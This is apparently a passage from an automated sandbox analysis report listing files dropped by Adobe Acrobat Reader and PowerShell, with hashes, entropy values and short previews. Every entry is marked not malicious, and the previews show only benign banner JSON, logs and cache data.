Size (bytes):	295
Entropy (8bit):	5.326280798977248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfzdPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGb8Ukee9
MD5:	1E6BE1831F55939B1226EE1CA1851269
SHA1:	0D1D5FCF84BE94FC7CFB10696FACF62F90A22623
SHA-256:	6DA2D9B3D0CD08ADE1C163D704F176CF7EC03857E9D0274F5301355408C82267
SHA-512:	487C68C4409E01ADCE62B4FC7225E5C8600779CEC88E9D0958413D71EB736C59741BB2AD72928D49B0942C2AF01CBCE54695B0FEFD6406FAD9DE03A41D59DCC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306774332909765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfYdPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGg8Ukee9
MD5:	00780DC1FB49C6163EDB52569012CEE9
SHA1:	42355C2BD5A377FA1F7AABCD2CD319CBADB0CBF6
SHA-256:	4E1FD3E038292A5387FE690BF4AEB9AF02ECEA4404557880CBD5D2E3664D477D
SHA-512:	0295F66024EA609D298E3B226222596D74BF5384738276C4EB502FDC3F58C3735652CD1654C1530A40A5184B33A38EC953CFDBA95355D1D0818D6213069EA409
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.292943972157107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJf+dPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnG28Ukee9
MD5:	FA92BE09792CB5FFDE1CCA09DA0971BC
SHA1:	CD32DB345145095D976A6BB4DD6473B407EE6E83
SHA-256:	51D2BB3BD508B4DA4BD2BACD09EFD4DB4B0489D85AA57598561AAEAF9CE6602C
SHA-512:	78C0F920233A8AC9A4C456DE37E005F18433CC78859900958C7C43404A0ED92B99786B4C828EC3B20EBE1D07152DD006E5E5687481C47DC7E1DCFF0226E040FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2902748715945584
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfbPtdPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGDV8Ukee9
MD5:	63E6F0E6BB235FEEA48FD19B1221CC9B
SHA1:	A8811B7E3662C6CE02898E205EC519AF88C8563A
SHA-256:	958C197E28F160002F4391286075FF748385F981567104C105DA63AC73B0398C
SHA-512:	48C36DE88B4A0832DB4964FC06EED44B407680354911BF66CD7F8FAD0E583FC835BE186B3B64B923C46AFF0A48FE27E89109F07BA068287F4759388E1A55E67C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2890972071083535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJf21rPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnG+16Ukee9
MD5:	4946FD52C213714020FD13B28D7251E6
SHA1:	CA62BEC7476E4239E1C9D79D00CF12C7EC611EE0
SHA-256:	C8F55401F2815E8E4733E1A6C6FD5B69D542556D48F5AB3599CA8D4952C258BB
SHA-512:	2D11060E808FF6E9ACFE80EE11ABE04CB7676CC4FB03BAD3AD48ED69997C57B8E66E0749A5FE2B5526126E567BFC000FB39C537AAE6ECF957FC663888CE87526
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671520592068839
Encrypted:	false
SSDEEP:	24:Yv6Xe9/2JhrUYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGX:Yvx9+JhdBgkDMUJUAh8cvMGX
MD5:	AA82F43F756B4E58588376A367028F7A
SHA1:	1ED3B2002C5AD4779090959F5F8930CD573B00C3
SHA-256:	3FDC3B6DE617BE2F2F8919BFE43014E82344F2328B9F788BA9D91A4D9C44F20E
SHA-512:	8274EC9616C0648A385C96868C19E3B0FBEB8FA8539048BE311B11EEEC3908ADDCB3B86C99C25B3694DA5209E3EB19A3F00474E6467934C16702DFA6E1E32FC7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.263744561526916
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfshHHrPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGUUUkee9
MD5:	75E8420C6E5DE4C48F83CFB07EF517AA
SHA1:	75D42B8033246B1356B1D687BDD85E34886077FC
SHA-256:	00C40041EC1595300B3FA7CE8CEF8E1E8C697883A0496690BE2B15C680391BCC
SHA-512:	15758FBB064985F3F674BFE7EA877BBACBE44360560C2CE9879C371421318B482D2761F2BE18A7A24E75CB1EFBE5016121F40A48CDBEE1ECBCF6645D544EEDCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284558059710426
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJTqgFCrPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGTq16Ukee9
MD5:	2E4EEC7F5ED2D830DB900A3201BE9549
SHA1:	BEA46893AF012C60D250455702C31DD9327ADA40
SHA-256:	E4F2D472BA8B61281AB3263D565BD67A6B6D4DFAE3C1A4ADE0D77F20E5255B46
SHA-512:	B3CCB65613D361ECB24A026C2CE59F543B74C70F6508B9BB8A771AB709A6659DD678501D4C0C599775548669CC0647BA73DC6E7A5B2B48B9A11AD42DA06920E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1309721659386565
Encrypted:	false
SSDEEP:	48:Y6FpK1ggzx9+4lvrcXw5ibQJlJuTQc8GL3ZnnAjfZ9/ZzQk/y:QegzxY2Tk5QybZAzRzQR
MD5:	3E3B301FA9A15A6E882722E2DF0459FB
SHA1:	45CD7E6B6FF088201487A2FE10F688F7BA7F0A93
SHA-256:	2360D616D4A7C211438A608BC86104364059DC33CBAAE1C4F1D894846667BFB9
SHA-512:	7E2273EB849D0EA89882ACC6704CF1BC79D2E07C0DABB921EDCD0A4789AA9514D090D1135732063758C3C31B626392B86F57B2721C560ABC71C22E257E39804D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"77d808f6834ee1eefd775341ce3d8d70","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736533708000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c21bc7153eece57120b0d6582ce318d6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736533708000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3a689b3d087c7e3469672b54d2c90958","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736533708000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"479ecdb5ac22b9b6906449a867849f2a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736533708000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5083a293dc5f53a334831aef5a94f1e1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736533708000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"253e2c59aa2be968ce315b574c382b74","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3179959335427585
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMehBtqVpH:TGufl2GL7ms9WR1CPmPbPahh/ypilIXT
MD5:	4C9A75B6C58B85BB7D1D3005388E7723
SHA1:	4DA8AF4676E3AE82BAE6696D1BB9887D3860EAE6
SHA-256:	517BFB29B0B380566C946B871C86810AE17C4A75E70F060F8085ED764055EC6A
SHA-512:	34B28D6D4B1192CABE1763F9B01F08D7A99B23784CC3FB1828857FC79B28C49652EF44C856B1D6879239929E93D4415DD2324C97B8373280AE1F260A5BC5E553
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.77839014544225
Encrypted:	false
SSDEEP:	48:7MGWR1CPmPbPahhGypilIJnqFl2GL7msT:7bWfMwbPahhGUKVmsT
MD5:	A487F1592B607CF7BE59B1639C8EC185
SHA1:	B5CCC89ED6D14DADC8DA7217769107E6087FF11F
SHA-256:	35223163D4B125860108BE95A5383BAA1FADEA4371ED4AC70908612ED63958BF
SHA-512:	BC20113F8F53FFF072ABFE107A1635E80E1A7A35DB7012F67337C848AA4CA9BB6321A790E92F15FB3F5742F3CC2D4394C5DE9E3D4BC2A58238629298A7E25317
Malicious:	false
Preview:	.... .c.....?=3...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgKFPvagQPtIkb0CzcUjQ66aiAzjYyu:6a6TZ44ADEIPvag+tIkrHQ4jK
MD5:	D16781C1276B84D87DC8AE4606EF4E35
SHA1:	C04046EB5F88F04BE9666F4FFF28C7FEDD2B0EFA
SHA-256:	2C67625B463F1F1AD4C735795871E647BE60A36EDD5E796561053C8E9962D24E
SHA-512:	0DA997686A697E2F829A1A1DB49730FEB6DA1449433E762E4392E2E50C308D3B6E5B5A2401960E623CB7E0F36B823C16E6D3BA7FAFF5C4DB28060D737D1316B2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI2980.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEDN9:Qw946cPbiOxDlbYnuRK+bDDH
MD5:	BFCCE4D359113497E09B4FECDF94260A
SHA1:	A8F84B9BC2BF5DDFEC4D0B68C8B1CC7A56B3F6BD
SHA-256:	D4A669FFDDDCD691F6095BAC296A3EA36EB5402E2D7AF1FE81E206D3D258B961
SHA-512:	8F06ACDC173A7E5132BF8D82CCB614D85DE6991B7DA6BCC732A1DF508088D31E80A914FB34678375774E113A3285CAB36226107046E5D32E2DDC33F6CFA21A23
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.2.8.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqp3qqlm.bid.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j0xk032s.c5b.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91dl2ex9_16by49s_658.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-28-21-422.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.378664184018235
Encrypted:	false
SSDEEP:	384:4yY/we2LhencgePFu12L/ZghVajPvVNV1VpLs06gIahiI9pLecPZ8iBlMl8d/FzV:Jo+frR
MD5:	E077902566B14213BBF86464C4F87A2D
SHA1:	5CE43C1CB936999A77D27E45E5F1093D912E3A52
SHA-256:	84F6C7B9D128C3DBF09F186FE015C81712C71B46219EFC62E2BF3B425552E9A9
SHA-512:	DCAE310B9D0AB592F10F86B5BC88FC583378DD8EEB1A82E81651F83062E35110E0C3ADCF4C1FA87836F31B729FA84A5203A0FBE2AE6944C0CE2D1A9A23E9808B
Malicious:	false
Preview:	SessionID=ddcf4b9d-329f-403c-b09d-f09366dfa165.1736533701448 Timestamp=2025-01-10T13:28:21:448-0500 ThreadID=2352 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ddcf4b9d-329f-403c-b09d-f09366dfa165.1736533701448 Timestamp=2025-01-10T13:28:21:461-0500 ThreadID=2352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ddcf4b9d-329f-403c-b09d-f09366dfa165.1736533701448 Timestamp=2025-01-10T13:28:21:461-0500 ThreadID=2352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ddcf4b9d-329f-403c-b09d-f09366dfa165.1736533701448 Timestamp=2025-01-10T13:28:21:461-0500 ThreadID=2352 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ddcf4b9d-329f-403c-b09d-f09366dfa165.1736533701448 Timestamp=2025-01-10T13:28:21:461-0500 ThreadID=2352 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400772467771436
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbzScbYIB9cbd:ceo4+rsCZdBO
MD5:	E1EE907B1191B6EB4D9BB137FFE3480F
SHA1:	E62DCB05C1F0C06D64BB24DE6DA1412399F7FA33
SHA-256:	F1A39ACE43850537D5EEDA75B3ED2D071AFB160835C83D7BCFBE2BE556406364
SHA-512:	56039BF5040A4108F75FB53FE7D5D93E792C8A9361F618255D9462022724CDB373B115053D42AD65BF3848741390438D267138D5DAF038853C8B28017BB6580C
Malicious:	false
